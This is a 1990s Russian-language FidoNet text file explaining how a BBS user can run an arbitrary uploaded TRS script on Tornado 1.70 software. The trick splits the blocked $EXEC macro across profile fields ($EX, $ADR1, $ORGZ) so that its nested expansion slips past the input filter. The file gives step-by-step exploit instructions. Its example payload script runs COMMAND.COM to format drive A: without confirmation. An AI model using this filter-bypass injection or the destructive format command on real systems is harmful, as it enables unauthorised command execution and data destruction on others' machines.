КАК ВЫПОЛHИТЬ ЛЮБОЙ TRS-СКРИПТ (TORNADO 1.70),
ЗHАЯ ТОЛЬКО ТОЧHОЕ ЕГО РАСПОЛОЖЕHИЕ.
Copyright (C) Dmitry Makidonov aka slider
FidoNet: 2:5004/44.21@FIDONet
E-Mail: dmslider@echo.ru
Данный документ вы используете только на свой страх и риск.
Автор не несет никакой ответственности за причиненный ущерб.
Этот способ долго деpжался в секpете, но сейчас я pешил pассказать его.
Он отпpавлен Константину Клягину, так что скоpо выйдет новая веpсия
Tornado, где знак доллаpа "$" будет вообще запpещен для ввода.
И так, что нам необходимо - полный путь до скрипта, который нам нужно
выполнить. К примеру, мы закачали скрипт в каталог аплоада C:\UPLOAD\
такого содержания:
- QWERTY.TRS ----------------------------------------------------------
Program
Exec("C:\COMMAND.COM /C ECHO Y | C:\WINDOWS\COMMAND\FORMAT.COM A: /U
End
-----------------------------------------------------------------------
Полный путь мы знаем: C:\UPLOAD\QWERTY.TRS.
Далее, идем в "Установки.." и выбираем любой пункт меню что бы
там кое - что вписать. К примеру - "Сетевые адреса".
Там мы должны вписать макрос $EXEC:, что бы пустить на выполн. скрипт.
Hо! Tornado 1.70 не пропустит целиком слово "$EXEC". Поэтому (будте
внимательны), мы вписывает только первую часть макроса - "$EX". Ладно,
идем в "Место учебы, работа..." и здесь вписываем макрос $ADR1 (т.е.
произойдет подстановка "$EX") и дополнение "EC:C:\UPLOAD\QWERTY.TRS".
И Tornado это тоже пропускает, ни о чем не подозревая.
Итог: в "Сетевых адресах" на первом адресе написано "$EX".
в "Месте учебы, работы" вписано "$ADR1EC:C:\UPLOAD\QWERTY.TRS".
А далее нам остается только выполнить макрос $ORGZ. Закачиваем файл
$ORGZ.TXT с любым содержанием, и, когда Tornado просит его описать, то
происходит следующее:
Т.к. на экран выводится имя макроса в списке, то он выполняется(да, да,
в Tornado 1.70 возможно выполнение простых, т.е. не $EXEC: и не $FILE:
макросов в некоторых местах напрямую), т.е. на экран факт-ки выводится
$ADR1EC:C:\UPLOAD\QWERTY.TRS. Hо! Hа экран снова вывод-ся макрос $ADR1,
и он тоже выполняется, т.е. на экран уже выводится надпись -
__________________________________________
$EXEC:C:\UPLOAD\QWERTY.TRS $ORGZ
|~~^^^^^^^^^^^^^^^^^^^^^^| (составляющие подмакросы)
| |
| $ADR1 | $ORGZ-$ADR1
~~~~~~~~~~~~~~~~~~ ^^^^^^^^^^^^^^^^^
Hо! Hа экран выводиться в списке снова исполняемый макрос.
И тут он тоже выполняется и запускает trs-скрипт. Телемаркет!
|